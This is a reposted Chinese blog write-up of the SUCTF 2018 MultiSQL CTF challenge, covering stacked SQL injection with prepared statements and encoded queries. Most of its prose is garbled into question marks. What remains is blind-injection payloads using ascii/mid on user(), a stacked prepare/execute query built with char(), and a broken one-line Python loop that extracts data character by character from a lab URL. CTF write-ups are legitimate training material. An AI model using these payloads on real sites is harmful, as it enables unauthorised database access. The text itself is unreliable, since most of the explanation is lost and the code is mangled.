BUUCTF：[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码，10进制，16进制。-白红宇

BUUCTF：[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码，10进制，16进制。

阅读量：404 次

发布时间：2019-03-05

本文共 1744 字，大约阅读时间需要 5 分钟。

SQL???Web????

????????????????SQL???????????????????????????????????????????????????????????????????????????????????

?????

???????????SQL?????????????????????????????????????????????????????????????????@???union?select????????????

??????????????SQL???

2^(if(ascii(mid(user(),1,1))>0,0,1))

??????????????????????????0??????????????????????0?????0????????1???????????????????????

?????????????????????????????????????????????WordPress?WP????????

???????

?????????????????????????SQL??????????500????????????????????????????????????cookie?????????

??????????????????????????????

? id=2; set @sql = char(12, 324, 23, 23, ); prepare query from @sql; execute query;

?????????????????????SQL???

??????????????????????????????mid???????ascii?????????????????????

????WordPress

???????????WordPress???????????????????????????????????????????

???user.php????????????????id????????????????????

if (ascii(mid(user(),1,1)) > 0, 0, 1)

???????????????????????

?????????????????

1^

??????????????????????????????

??????????????????????????

??id???????????

??if??????????

??1^???????????

?????????????Python??????????????????????

for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url, cookies=cookie)        content = re.findall('.*
', res.text, re.M|re.I)        if ("admin" not in content[0]):            database += chr(j)            break

??????????????????id?username???????????????????

?????????????????????????????????????????????????flag???????????????

?????SQL????????????????????????????????????????????????????????????????

转载地址：http://ykgg.baihongyu.com/

你可能感兴趣的文章